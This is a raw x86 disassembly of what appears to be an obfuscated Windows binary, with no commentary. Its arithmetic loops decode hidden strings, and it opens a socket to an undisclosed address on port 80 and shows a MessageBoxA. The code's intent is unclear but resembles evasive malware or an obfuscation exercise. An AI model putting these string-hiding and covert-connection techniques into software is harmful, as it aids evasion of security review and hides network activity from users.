cmp esi, ebx
je 0x465233
mov dword [esp + 4], ebp
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x465207
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x4651db
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x465284
lea ebx, [eax - 0x55d38fae]
lea edx, [eax + edi]
add edx, 0xaa2c7052
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0xc2
jmp 0x46519b
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x465017
lea ebx, [eax + 0x315d795d]
lea edx, [eax + edi]
add edx, 0x315d795d
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x75
jmp 0x46517a
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x4651a7
lea ebx, [eax + 0x2d664915]
lea edx, [eax + edi]
add edx, 0x2d664915
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x6d
lea ebp, [eax + 0x18908579]
lea ebx, [edi + eax]
add ebx, 0x18908579
and ebp, edi
add ebp, ebp
sub ebx, ebp
add bl, dl
add bl, 0xb1
mov byte [esp + eax + 0xcc], bl
add esi, ecx
movzx edx, dl
not edx
jmp 0x465238
mov dword [esp + 0xc], ebp
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x465249
lea ebx, [eax + 0x63f93359]
lea edx, [eax + edi]
add edx, 0x63f93359
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x91
jmp 0x46519d
lea ebp, [ecx + 6]
cmp esi, ebp
jne 0x465278
lea ebp, [eax + 0x33d9fa9b]
lea edx, [eax + edi]
add edx, 0x33d9fa9b
and ebp, edi
add ebp, ebp
sub edx, ebp
add dl, 0xc3
mov byte [esp + eax + 0xcc], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, ebx
lea ebx, [eax - 0x3e814ad4]
lea edx, [eax + edi]
add edx, 0xc17eb52c
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0xcc
mov byte [esp + eax + 0xcc], dl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0xca]
add eax, 0xfffffffe
movzx edx, dl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x1e
jb 0x464ffe
jmp 0x46568f
lea ebp, [ecx + 6]
cmp esi, ebp
je 0x465233
cmp esi, 7
ja 0x465292
cmp esi, dword [esp + 0xc]
jbe 0x4652d1
lea edx, [eax + 0x5ec3c272]
lea ebx, [eax + edi]
add ebx, 0x5ec3c272
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0xe2
jmp 0x465303
lea edi, [ecx + 2]
cmp esi, edi
je 0x465233
jmp 0x464fee
lea ebp, [ecx + 6]
cmp esi, ebp
jne 0x4652b1
mov ebp, ecx
jmp 0x4650e7
lea ebp, [eax - 0x75143518]
lea ebx, [eax + edi]
add ebx, 0x8aebcae8
and ebp, edi
add ebp, ebp
sub ebx, ebp
add dl, bl
add dl, 0xa8
jmp 0x46517a
mov dword [esp], ecx
lea ebp, [eax - 0x617cb21b]
lea ecx, [eax + edi]
add ecx, 0x9e834de5
and ebp, edi
add ebp, ebp
sub ecx, ebp
add cl, 0xbd
jmp 0x4650b7
lea edx, [ecx + 2]
cmp esi, edx
je 0x4651db
cmp esi, dword [esp + 4]
mov ebx, dword [esp + 8]
jne 0x465303
lea ebx, [eax + 0x27c813e]
lea edx, [eax + edi]
add edx, 0x27c813e
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x4e
jmp 0x46517a
mov byte [esp + eax + 0xcc], bl
jmp 0x46523a
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
je 0x465696
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], eax
lea esi, [esp + 0x604]
mov word [esi - 4], 2
push 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov word [esi - 2], ax
mov dword [esp + 0x1d0], 0xeaece4e4
mov dword [esp + 0x1d4], 0x1b101517
mov dword [esp + 0x1d8], 0x13131711
mov word [esp + 0x1dc], 0xed1d
xor eax, eax
mov dword [esp + 0x1e2], eax
mov dword [esp + 0x1de], eax
call fcn.0046d640
mov edi, dword [eax]
call fcn.0046d646
mov eax, dword [eax]
mov dword [esp], eax
xor eax, eax
cmp edi, eax
ja 0x465c23
mov dl, byte [esp + eax + 0x1d0]
movzx ebx, dl
mov ecx, dword [esp]
lea ebp, [ecx + 1]
cmp edi, ebp
jae 0x4653fb
cmp dword [esp], eax
ja 0x465c3f
mov ecx, dword [esp]
lea esi, [edi + ecx]
cmp esi, eax
jbe 0x46542c
mov ecx, dword [esp]
lea edx, [ecx + 9]
cmp edi, edx
je 0x465513
mov ecx, dword [esp]
lea edx, [ecx + 3]
cmp edi, edx
jne 0x465537
lea esi, [eax + 0x6752ea20]
lea edx, [eax + ebx]
add edx, 0x6752ea20
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x20
jmp 0x465601
je 0x465571
mov ecx, dword [esp]
lea esi, [ecx + 4]
cmp edi, esi
jne 0x4654e1
lea esi, [eax + 0x748c9e5c]
lea edx, [eax + ebx]
add edx, 0x748c9e5c
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x7c
jmp 0x465601
mov dword [esp + 4], ebp
mov ebp, ebx
mov ecx, dword [esp]
lea ebx, [ecx + 2]
mov dword [esp + 0xc], ebx
cmp edi, ebx
jae 0x4654a6
mov dword [esp + 8], esi
lea esi, [eax + 0x7eba4a7c]
mov ebx, ebp
lea ecx, [eax + ebp]
add ecx, 0x7eba4a7c
and esi, ebp
add esi, esi
sub ecx, esi
add cl, 0x9c
mov dword [esp + 0x10], ecx
mov esi, dword [esp + 8]
cmp esi, 0x28
mov ebp, dword [esp + 4]
jne 0x46550f
lea esi, [eax - 0x822de2c]
lea edx, [eax + ebx]
add edx, 0xf7dd21d4
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x34
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
mov ecx, dword [esp]
not ecx
add eax, ecx
sub eax, edx
mov dword [esp], ebp
jmp 0x465545
cmp edi, dword [esp + 4]
je 0x465571
mov ebx, ebp
mov dword [esp + 8], esi
mov ecx, dword [esp]
lea esi, [ecx + 4]
cmp edi, esi
jne 0x4655db
lea esi, [eax - 0x3d1208c0]
lea edx, [eax + ebx]
add edx, 0xc2edf740
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x40
jmp 0x465601
mov ecx, dword [esp]
lea esi, [ecx + 3]
cmp edi, esi
jne 0x46557c
lea esi, [eax + 0x72013354]
lea edx, [eax + ebx]
add edx, 0x72013354
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xb4
add edi, dword [esp]
jmp 0x465601
cmp edi, ebp
jne 0x46558f
lea edx, [eax - 0x30c081c]
lea ecx, [eax + ebx]
add ecx, 0xfcf3f7e4
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0xc4
mov byte [esp + eax + 0x1d0], cl
jmp 0x465613
mov ecx, dword [esp]
lea edx, [ecx + 6]
cmp edi, edx
jne 0x465380
lea esi, [eax + 0x76976c50]
lea edx, [eax + ebx]
add edx, 0x76976c50
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xd0
mov byte [esp + eax + 0x1d0], dl
sub eax, edi
inc edi
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
movzx edx, dl
add edx, dword [esp]
jmp 0x465606
mov ecx, dword [esp]
lea esi, [ecx + 2]
cmp edi, esi
jne 0x4653af
jmp 0x465610
cmp edi, dword [esp + 0xc]
je 0x465610
mov dword [esp + 8], esi
mov ecx, dword [esp]
lea esi, [ecx + 3]
cmp edi, esi
je 0x465473
mov ecx, dword [esp]
lea esi, [ecx + 5]
cmp edi, esi
je 0x465545
cmp edi, 7
ja 0x465643
mov ecx, dword [esp]
lea edx, [ecx + 4]
cmp edi, edx
je 0x465610
cmp dword [esp], 1
ja 0x465513
mov edx, dword [esp + 0x10]
mov byte [esp + eax + 0x1d0], dl
jmp 0x465617
mov ecx, dword [esp]
lea esi, [ecx + 3]
cmp edi, esi
jne 0x46560a
lea esi, [eax - 0x3f9d73c8]
lea edx, [eax + ebx]
add edx, 0xc0628c38
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x78
mov edi, dword [esp + 8]
movzx edx, dl
not edx
add eax, edx
jmp 0x465617
cmp edi, dword [esp + 0xc]
jne 0x465626
mov ebp, dword [esp]
dec eax
mov dword [esp], ebp
inc eax
cmp eax, 0x16
jb 0x465393
jmp 0x465c2a
lea esi, [eax + 0x65481c2c]
lea ecx, [eax + ebx]
add ecx, 0x65481c2c
and esi, ebx
add esi, esi
sub ecx, esi
add cl, 0xcc
jmp 0x46545e
lea esi, [eax + 0x7bae4260]
lea ecx, [eax + ebx]
add ecx, 0x7bae4260
and esi, ebx
add esi, esi
sub ecx, esi
add dl, cl
add dl, 0x60
lea esi, [eax - 0x5977324]
lea edi, [eax + ebx]
add edi, 0xfa688cdc
and esi, ebx
add esi, esi
mov ebx, edi
sub ebx, esi
add bl, dl
add bl, 0xfc
mov byte [esp + eax + 0x1d0], bl
jmp 0x4655fd
mov eax, 0xd213fd
jmp 0x465976
xor eax, eax
jmp 0x465976
xorps xmm0, xmm0
movups xmmword [esp + 0xd9], xmm0
movups xmmword [esp + 0xce], xmm0
mov word [esp + 0xcc], 0xb182
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x465c2e
mov bl, byte [esp + eax + 0xcc]
movzx ebp, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x465726
cmp ecx, eax
ja 0x466347
mov dword [esp], ebp
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x465732
lea edx, [ecx + 0xa]
cmp esi, edx
je 0x465736
mov edx, esi
cmp esi, edi
je 0x46575a
lea edx, [ecx + 0x10]
cmp esi, edx
jne 0x465810
lea edx, [eax + 0xfd9b3d0]
mov esi, dword [esp]
lea ebx, [eax + esi]
add ebx, 0xfd9b3d0
and edx, esi
add edx, edx
sub ebx, edx
add bl, 0x50
jmp 0x4657f8
jne 0x465762
movzx edx, bl
add edx, ecx
jmp 0x4657ff
cmp esi, edi
jne 0x465783
lea edx, [eax + 0x18aed788]
mov ebx, dword [esp]
lea ecx, [ebx + eax]
add ecx, 0x18aed788
and edx, ebx
add edx, edx
sub ecx, edx
add cl, 0x48
mov byte [esp + eax + 0xcc], cl
mov edx, edi
dec eax
mov ecx, edx
jmp 0x465801
lea edx, [ecx + 3]
cmp esi, edx
jne 0x46578e
lea edx, [eax - 0x54caf08]
lea ebx, [eax + ebp]
add ebx, 0xfab350f8
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x38
jmp 0x4657fa
lea edx, [ecx + 2]
cmp esi, edx
jne 0x4657d6
mov edx, ecx
jmp 0x46575a
lea edx, [ecx + 5]
cmp esi, edx
jne 0x4656dc
lea edx, [eax + 0x4dadadd8]
lea ebx, [eax + ebp]
add ebx, 0x4dadadd8
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x18
add esi, ecx
lea edi, [eax - 0x3dd3fa08]
lea edx, [eax + ebp]
add edx, 0xc22c05f8
and edi, ebp
add edi, edi
sub edx, edi
add dl, bl
add dl, 0x38
mov byte [esp + eax + 0xcc], dl
jmp 0x4657fa
lea edx, [ecx + 5]
cmp esi, edx
jne 0x465834
lea edx, [eax - 0x7f240f78]
mov esi, dword [esp]
lea ebx, [eax + esi]
add ebx, 0x80dbf088
and edx, esi
add edx, edx
sub ebx, edx
add bl, 0x48
mov esi, ebp
movzx edx, bl
not edx
add eax, edx
inc eax
cmp eax, 0x1d
jb 0x4656c3
jmp 0x465c38
lea edx, [ecx + 6]
cmp esi, edx
jne 0x465854
lea edx, [eax - 0x46a91dc0]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0xb956e240
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x40
jmp 0x4657fa
lea edx, [ecx + 6]
cmp esi, edx
jne 0x46588c
lea edx, [eax + 0x2a591ef8]
mov edi, dword [esp]
lea ebx, [eax + edi]
add ebx, 0x2a591ef8
and edx, edi
jmp 0x46577a
lea edx, [ecx + 2]
cmp esi, edx
mov ebp, dword [esp]
jne 0x4658cb
lea ebx, [eax + 0x6ba93468]
lea edx, [eax + ebp]
add edx, 0x6ba93468
and ebx, ebp
add ebx, ebx
sub edx, ebx
add dl, 0x28
mov byte [esp + eax + 0xcc], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, edi
jmp 0x46589a
mov dword [esp + 4], edx
lea edx, [ecx + 3]
cmp esi, edx
jne 0x4658e8
mov ebp, dword [esp]
lea edi, [eax - 0x3f983460]
lea edx, [eax + ebp]
add edx, 0xc067cba0
and edi, ebp
add edi, edi
sub edx, edi
add dl, 0xa0
mov byte [esp + eax + 0xcc], dl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0xca]
add eax, 0xfffffffe
jmp 0x465728
lea esi, [ecx + 8]
lea edx, [ecx + 0xb]
add ecx, 0xe
mov eax, 0
cmp esi, ecx
mov ecx, edx
jae 0x4656c3
jmp 0x4656b3
lea edx, [ecx + 4]
cmp esi, edx
je 0x465728
cmp esi, 0xf
ja 0x46591b
cmp esi, dword [esp + 4]
jbe 0x465941
lea edx, [eax + 0x250c6ff0]
mov ebp, dword [esp]
lea ebx, [eax + ebp]
add ebx, 0x250c6ff0
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x70
jmp 0x46595c
lea esi, [eax + 0x6d6d6ec0]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x6d6d6ec0
and esi, edi
add esi, esi
sub edx, esi
add bl, dl
add bl, 0xc0
mov esi, ebp
mov ebp, edi
jmp 0x4657b3
lea edx, [eax + 0x54be9738]
mov ebp, dword [esp]
lea ebx, [eax + ebp]
add ebx, 0x54be9738
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x78
cmp ecx, 3
ja 0x465736
mov byte [esp + eax + 0xcc], bl
jmp 0x465801
mov eax, 0x16d596c
add eax, esp
add eax, 0xcc
mov dword [esp + 0x2c], eax
movaps xmm0, xmmword [0x473b10]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [str.MaJb]
movups xmmword [esp + 0x1e0], xmm0
movaps xmm0, xmmword [0x473b30]
movups xmmword [esp + 0x1f0], xmm0
xor eax, eax
mov dword [esp + 0x204], eax
mov dword [esp + 0x200], eax
call fcn.0046d640
mov ebp, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp ebp, eax
ja 0x465bf7
mov bl, byte [esp + eax + 0x1d0]
movzx edx, bl
mov dword [esp], edx
lea edx, [ecx + 1]
cmp ebp, edx
jae 0x465a4e
cmp ecx, eax
ja 0x465c02
lea esi, [ecx + ebp]
cmp esi, eax
ja 0x4659be
cmp esi, 9
je 0x465a5f
mov byte [esp + 8], bl
lea ebx, [ecx + 6]
cmp ebp, ebx
jbe 0x465af4
mov dword [esp + 4], edx
lea ebx, [eax + 0x6cf130f0]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x6cf130f0
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x70
mov dword [esp + 0xc], edx
cmp ebp, 1
mov bl, byte [esp + 8]
mov edx, dword [esp + 4]
ja 0x465b21
cmp ebp, edx
jne 0x465b94
xor ebp, ebp
inc ebp
jmp 0x465a50
jne 0x465a54
mov edx, ecx
jmp 0x465ac8
lea esi, [ecx + 3]
cmp ebp, esi
jne 0x465ae0
lea esi, [eax + 0x5a5fba90]
mov edi, dword [esp]
lea ebx, [edi + eax]
add ebx, 0x5a5fba90
and esi, edi
add esi, esi
sub ebx, esi
add bl, 0x10
mov byte [esp + eax + 0x1d0], bl
movzx esi, bl
not ecx
add ecx, eax
mov ebx, ecx
sub ebx, esi
mov dword [esp + 4], edx
mov edx, ebp
lea ebp, [ebx - 0x36b9b1c0]
lea eax, [ebx + edi]
add eax, 0xc9464e40
and ebp, edi
mov edi, edx
mov edx, dword [esp + 4]
add ebp, ebp
sub eax, ebp
add al, 0x40
mov byte [esp + ebx + 0x1d0], al
add esi, edi
inc edi
mov ebp, edi
sub ecx, esi
mov bl, byte [esp + ecx + 0x1ce]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, bl
add ecx, edx
add eax, ecx
mov ecx, edx
inc eax
cmp eax, 0x38
jb 0x4659ce
jmp 0x465bfe
lea esi, [ecx + 4]
cmp ebp, esi
je 0x465b1e
lea esi, [ecx + 2]
cmp ebp, esi
jne 0x4659ea
jmp 0x465af8
cmp ebp, edx
jne 0x465b40
lea esi, [eax - 0x613a9430]
mov edi, edx
mov edx, dword [esp]
lea ecx, [edx + eax]
add ecx, 0x9ec56bd0
and esi, edx
add esi, esi
sub ecx, esi
add cl, 0x50
mov byte [esp + eax + 0x1d0], cl
mov ecx, edi
dec eax
jmp 0x465ad1
lea edi, [eax + 0xdabff80]
mov ebp, dword [esp]
lea edx, [eax + ebp]
add edx, 0xdabff80
and edi, ebp
add edi, edi
sub edx, edi
xor dl, 0x80
add dl, bl
jmp 0x465b62
lea ebx, [ecx + 3]
cmp ebp, ebx
jne 0x465ba4
lea edi, [eax - 0x1bda3190]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0xe425ce70
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0xf0
lea edi, [eax + 0x7c929330]
mov ebp, dword [esp]
lea ebx, [eax + ebp]
add ebx, 0x7c929330
and edi, ebp
add edi, edi
sub ebx, edi
add bl, dl
add bl, 0xb0
mov byte [esp + eax + 0x1d0], bl
movzx edx, dl
not edx
add eax, edx
mov ebp, esi
jmp 0x465ad1
mov edx, dword [esp + 0xc]
mov byte [esp + eax + 0x1d0], dl
jmp 0x465ad1
lea ebx, [ecx + 2]
cmp ebp, ebx
jne 0x465bc8
lea edi, [eax - 0x3e0d0a30]
mov ebx, dword [esp]
lea edx, [eax + ebx]
add edx, 0xc1f2f5d0
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x50
jmp 0x465b86
lea ebx, [ecx + 7]
cmp ebp, ebx
je 0x465a5f
mov dword [esp + 4], edx
lea ebx, [eax + 0x6ee693b0]
mov edi, dword [esp]
lea edx, [eax + edi]
add edx, 0x6ee693b0
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x30
jmp 0x465a2c
mov eax, 0xd1cdf0
jmp 0x465c07
xor eax, eax
jmp 0x465c07
mov eax, 0x16b3a40
mov edx, dword [esp + 0x2c]
add eax, esp
add eax, 0x1d0
xor ecx, ecx
push ecx
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x46705e
mov eax, 0x6455cc
jmp 0x465c44
xor eax, eax
jmp 0x465c44
mov eax, 0x4c30d8
jmp 0x46634c
xor eax, eax
jmp 0x46634c
mov eax, 0x16a0b50
add eax, esp
add eax, 0x1d0
lea ecx, [esp + 0x604]
push ecx
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
lea eax, [esp + 0x600]
push 0x10
push eax
push dword [esp + 0x34]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x465fa0
movaps xmm0, xmmword [0x473b40]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473b50]
movups xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0
mov byte [esp + 0x1f4], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x466325
mov bl, byte [esp + eax + 0x1d0]
movzx edi, bl
lea edx, [ecx + 1]
cmp esi, edx
jae 0x465cf6
cmp ecx, eax
ja 0x46661d
lea ebp, [ecx + 0x10]
cmp esi, ebp
jae 0x465d2e
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x465d58
cmp esi, edx
je 0x465d36
add ecx, 3
cmp esi, ecx
je 0x465d55
jmp 0x465caa
jne 0x465cff
mov edx, ecx
jmp 0x465dc1
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x465d61
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x465e67
lea ebx, [eax + 0x727f4fab]
lea edx, [eax + edi]
add edx, 0x727f4fab
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x53
jmp 0x465ecf
cmp esi, edx
jne 0x465dd9
lea ebx, [eax + 0x5ea81887]
lea ecx, [eax + edi]
add ecx, 0x5ea81887
and ebx, edi
add ebx, ebx
sub ecx, ebx
add cl, 0x4f
mov byte [esp + eax + 0x1d0], cl
dec eax
jmp 0x465dc8
cmp ebp, 0x10
jne 0x465dfe
lea ebp, [eax - 0x49299bf5]
lea ebx, [edi + eax]
add ebx, 0xb6d6640b
and ebp, edi
add ebp, ebp
sub ebx, ebp
add bl, 0xb3
mov byte [esp + eax + 0x1d0], bl
movzx ebx, bl
not ecx
add ecx, eax
mov ebp, ecx
sub ebp, ebx
mov dword [esp], esi
mov esi, edi
lea edi, [ebp + 0x4ce1f6ec]
lea eax, [esi + ebp]
add eax, 0x4ce1f6ec
and edi, esi
mov esi, dword [esp]
add edi, edi
sub eax, edi
add al, 0x8c
mov byte [esp + ebp + 0x1d0], al
add ebx, esi
inc esi
sub ecx, ebx
mov bl, byte [esp + ecx + 0x1ce]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, bl
add ecx, edx
add eax, ecx
mov ecx, edx
inc eax
cmp eax, 0x25
jb 0x465cba
jmp 0x46632f
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x465eb0
lea ebx, [eax - 0xb05c83]
lea edx, [eax + edi]
add edx, 0xff4fa37d
and ebx, edi
mov byte [esp], 0x95
jmp 0x465e87
lea ebp, [ecx + 0x20]
cmp esi, ebp
jbe 0x465edd
lea ebp, [eax - 0x3f3e0063]
mov byte [esp + 4], bl
lea ebx, [eax + edi]
add ebx, 0xc0c1ff9d
mov dword [esp], ebx
and ebp, edi
add ebp, ebp
sub dword [esp], ebp
mov ebx, dword [esp]
add bl, 0xb5
mov ebp, ebx
mov bl, byte [esp + 4]
cmp esi, edx
je 0x465cf8
lea ebx, [ecx + 2]
cmp esi, ebx
je 0x465d61
lea ebx, [ecx + 5]
cmp esi, ebx
jne 0x465f2f
lea ebx, [eax + 0x183fee9e]
lea edx, [eax + edi]
add edx, 0x183fee9e
and ebx, edi
mov byte [esp], 0xae
jmp 0x465e87
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x465f0d
lea ebx, [eax - 0x61698a93]
lea edx, [eax + edi]
add edx, 0x9e96756d
and ebx, edi
mov byte [esp], 5
add ebx, ebx
sub edx, ebx
add dl, byte [esp]
lea ebp, [eax - 0x7540c1b7]
lea ebx, [edi + eax]
add ebx, 0x8abf3e49
and ebp, edi
add ebp, ebp
sub ebx, ebp
add bl, dl
inc bl
mov byte [esp + eax + 0x1d0], bl
jmp 0x465ecf
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x465f1f
lea ebx, [eax + 0x2b66c93f]
lea edx, [eax + edi]
add edx, 0x2b66c93f
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x47
add esi, ecx
movzx edx, dl
not edx
add eax, edx
jmp 0x465dca
cmp esi, edx
je 0x465d36
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x465f18
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x465f5c
lea ebx, [eax + 0x711e96a5]
lea edx, [eax + edi]
add edx, 0x711e96a5
and ebx, edi
mov byte [esp], 0x7d
jmp 0x465e87
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x465cd3
mov edx, ecx
jmp 0x465d55
lea ebp, [ecx + 7]
cmp esi, ebp
jne 0x465ce2
jmp 0x465cf8
lea ebx, [ecx + 3]
cmp esi, ebx
je 0x465d55
cmp ecx, 9
ja 0x465d36
lea ebx, [ecx + 6]
cmp esi, ebx
je 0x465d36
mov edx, ebp
mov byte [esp + eax + 0x1d0], dl
jmp 0x465dca
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x465d61
lea ebp, [ecx + 6]
cmp esi, ebp
je 0x465cf8
lea ebp, [eax - 0x69f46d1f]
mov dword [esp + 4], edx
lea edx, [eax + edi]
add edx, 0x960b92e1
mov dword [esp], edx
and ebp, edi
add ebp, ebp
sub dword [esp], ebp
mov edx, dword [esp]
add dl, 0xd9
mov ebp, edx
mov edx, dword [esp + 4]
jmp 0x465e32
xorps xmm0, xmm0
movups xmmword [esp + 0xdc], xmm0
movups xmmword [esp + 0xce], xmm0
mov word [esp + 0xcc], 0x65bb
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x466336
mov bl, byte [esp + eax + 0xcc]
movzx edx, bl
mov dword [esp], edx
lea edi, [ecx + 1]
cmp esi, edi
jae 0x466031
cmp ecx, eax
ja 0x466a05
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x4660a0
lea ebx, [ecx + 8]
cmp esi, ebx
je 0x4660f3
lea ebx, [ecx + 2]
cmp esi, ebx
jne 0x466129
lea esi, [eax + 0x6d453ed6]
mov edx, dword [esp]
lea edi, [eax + edx]
add edi, 0x6d453ed6
and esi, edx
mov edx, edi
add esi, esi
sub edx, esi
add dl, 0x26
jmp 0x466094
je 0x46621e
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x4661c0
lea ebp, [ecx + 6]
cmp esi, ebp
jne 0x466196
lea edi, [eax + 0x130d95d]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x130d95d
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x75
mov edi, ebx
add esi, ecx
mov ebp, esi
lea esi, [eax + 0x6c146579]
mov edx, dword [esp]
lea ebx, [edx + eax]
add ebx, 0x6c146579
and esi, edx
add esi, esi
sub ebx, esi
mov edx, edi
add bl, dl
add bl, 0xb1
mov byte [esp + eax + 0xcc], bl
mov esi, ebp
movzx edx, dl
not edx
jmp 0x466223
mov dword [esp + 4], edi
mov edi, dword [esp]
mov dword [esp + 8], ecx
lea edx, [ecx + 6]
mov dword [esp + 0x30], edx
cmp esi, edx
jae 0x46611a
mov dword [esp + 0xc], ebp
lea ebp, [eax + 0x628d9a91]
lea ecx, [eax + edi]
add ecx, 0x628d9a91
and ebp, edi
add ebp, ebp
sub ecx, ebp
add cl, 9
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 8]
mov edi, dword [esp + 4]
mov ebp, dword [esp + 0xc]
cmp ebp, 6
je 0x4661c0
cmp esi, edi
jne 0x4661a3
lea ebx, [eax - 0x5906cfa9]
mov edx, dword [esp]
lea ecx, [eax + edx]
add ecx, 0xa6f93057
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0x9f
mov byte [esp + eax + 0xcc], cl
jmp 0x4661b0
cmp esi, dword [esp + 4]
jne 0x466156
mov ecx, dword [esp + 8]
jmp 0x46621e
lea ebx, [ecx + 3]
cmp esi, ebx
jne 0x4661b5
lea edi, [eax + 0x326073f8]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x326073f8
and edi, edx
mov edx, ebx
add edi, edi
sub edx, edi
add dl, 0x38
jmp 0x466096
mov dword [esp + 0xc], ebp
mov ecx, dword [esp + 8]
lea ebp, [ecx + 2]
cmp esi, ebp
mov edi, dword [esp + 4]
je 0x4661c0
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x46625d
lea edi, [eax + 0x7a8cfb30]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x7a8cfb30
and edi, edx
mov edx, ebx
add edi, edi
sub edx, edi
add dl, 0xb0
jmp 0x466096
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x465fe9
jmp 0x4661ae
lea edi, [ecx + 2]
cmp esi, edi
jne 0x466234
mov edi, ecx
dec eax
mov ecx, edi
jmp 0x466225
lea ebx, [ecx + 9]
cmp esi, ebx
jne 0x465fbd
lea ebp, [eax + 0x312f9a9b]
mov edx, dword [esp]
lea ebx, [edx + eax]
add ebx, 0x312f9a9b
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0xc3
mov byte [esp + eax + 0xcc], bl
movzx ebx, bl
not ecx
add ecx, eax
sub ecx, ebx
mov eax, ecx
mov ecx, edi
lea edi, [eax - 0x6c42cad4]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x93bd352c
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xcc
mov byte [esp + eax + 0xcc], bl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0xca]
add eax, 0xfffffffe
movzx edx, bl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x20
jb 0x465fcd
jmp 0x466340
lea edi, [ecx + 3]
cmp esi, edi
jne 0x46628a
lea esi, [eax - 0x6fd556eb]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x902aa915
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x6d
mov edi, ebx
jmp 0x46606e
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x4662b3
lea esi, [eax + 0x4c36574]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x4c36574
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xd4
mov edi, ebx
mov ebp, dword [esp + 0xc]
jmp 0x46606e
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x4662e1
lea edi, [eax + 0x1a611359]
mov edx, dword [esp]
lea ebx, [eax + edx]
add ebx, 0x1a611359
and edi, edx
mov edx, ebx
add edi, edi
sub edx, edi
